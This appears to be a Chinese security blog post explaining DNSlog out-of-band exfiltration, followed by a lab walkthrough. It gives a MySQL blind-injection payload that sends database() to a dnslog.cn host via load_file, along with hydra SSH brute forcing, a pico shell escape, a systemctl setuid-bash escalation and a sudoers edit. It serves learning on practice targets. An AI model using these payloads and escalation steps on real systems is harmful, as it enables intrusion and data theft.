因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。例如872323857.github.io,io就是顶级域名,github就是二级域名,872323857就是三级域名。且域名不分大小写。

通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

自己操作一下才能更好的理解,首先在http://www.dnslog.cn/上获得一个域名,然后我们ping一下

我们将1换成别的试试

可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和域名拼接起来。

DNSlog利用

sql注入

就以sql盲注为例,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,为什么呢。因为在利用sql盲注进行DNSlog回显时,需要用到load_file函数,这个函数可以进行DNS请求。那
和只能在windows上用有什么关系呢,这里就涉及到Windows的一个小Tips——UNC路径

UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
\abc.xxx\test
这也就解释了为什么CONCAT()函数拼接了4个\了,双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=””就是可以load_flie任意磁盘的文件。

在mysql中执行命令select load_file('\\\\a.a92pjl.dnslog.cn\\a');可以看到

和之前的结合起来构造语句,用sqli靶场来测试

1
2
' and if((select load_file(concat('\\\\',(select database()),'.
bhf0ay.dnslog.cn\\abc'))),1,0)--+

小结

DNSlog注入不止可以用于sql注入,还可以用于xss,xxe,ssrf等,思路打开。

可以参考:

https://www.cnblogs.com/Xy--1/p/12896599.html

跟着别人的视频打一下。

靶场直接就给了ip地址,用nmap扫一下端口

开放了445端口,445端口默认开放的是SMB服务,可以利用相关的工具,smbclientsmbmap

smbmap扫描可以发现有一个匿名的共享,用smbclient //ip/anonymous连接,空密码直接回车就行。

查看文件发现只有一个share,用get share下载下来,查看share文件。

给了Admin89492D216D0A212F8ED54FC5AC9D340B,猜测是账号密码,md5解密得qazwsxedc,用xftp连接,或者用lftp连接也可以。

ftp可以连接,ssh试过之后也可以连接。利用linpeas.sh搜集一下有没有可以提权的东西

工具地址:https://github.com/carlospolop/PEASS-ng

但是用户权限太低,没有办法提权。

cd到/Syst3m/F4iluR3,里面有很多文件

他们的大小也都差不多,用find ./ -size +1696c命令找一下有没有不正常的文件,确实能找到file0189.txt,用diff命令可以比一下他与其他的文件有什么不同,但是发现文件内容是一行的,所以要给他们变成单行的。

cat file0189.txt |xargs -n 1 > /tmp/tmp1 cat file.txt |xargs -n 1 > /tmp/tmp1然后再用diff判断他们有什么不同。

发现后面有一串不一样的,需要解密,base62解密得到/Sup3rS3cR37

这个文件夹在/var/www/html/area4里,下载useful.txt,查看/etc/passwd能发现用户名,利用hydra进行爆破

命令:hydra -L user.txt -P useful.txt ssh://192.168.2.243 -V -I -u -e nsr

1
2
3
-V 显示详细信息
-I 忽略现有的恢复文件(不要等待 10 秒)
-e “n”表示空密码,“s”尝试登录为通过,“r”尝试反向登录为通过

可以爆破出来密码,登录valex用户。

sudo -l:列出用户可以执行和不可以执行的命令。

可以发现jin用户可以用pico。在网上能找到nano的提权方式

执行命令sudo -u jin /usr/bin/pico 然后

1
2
^R^X
reset; sh 1>&0 2>&0

然后就到jin这个用户了,这个时候就可以执行systemctl了,这个时候就可以用systemctl进行提权。

1
2
3
4
5
6
7
8
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF

或者修改sudoers

1
echo \"admin ALL=(ALL:ALL) ALL">>/etc/sudoers

读取到root.txt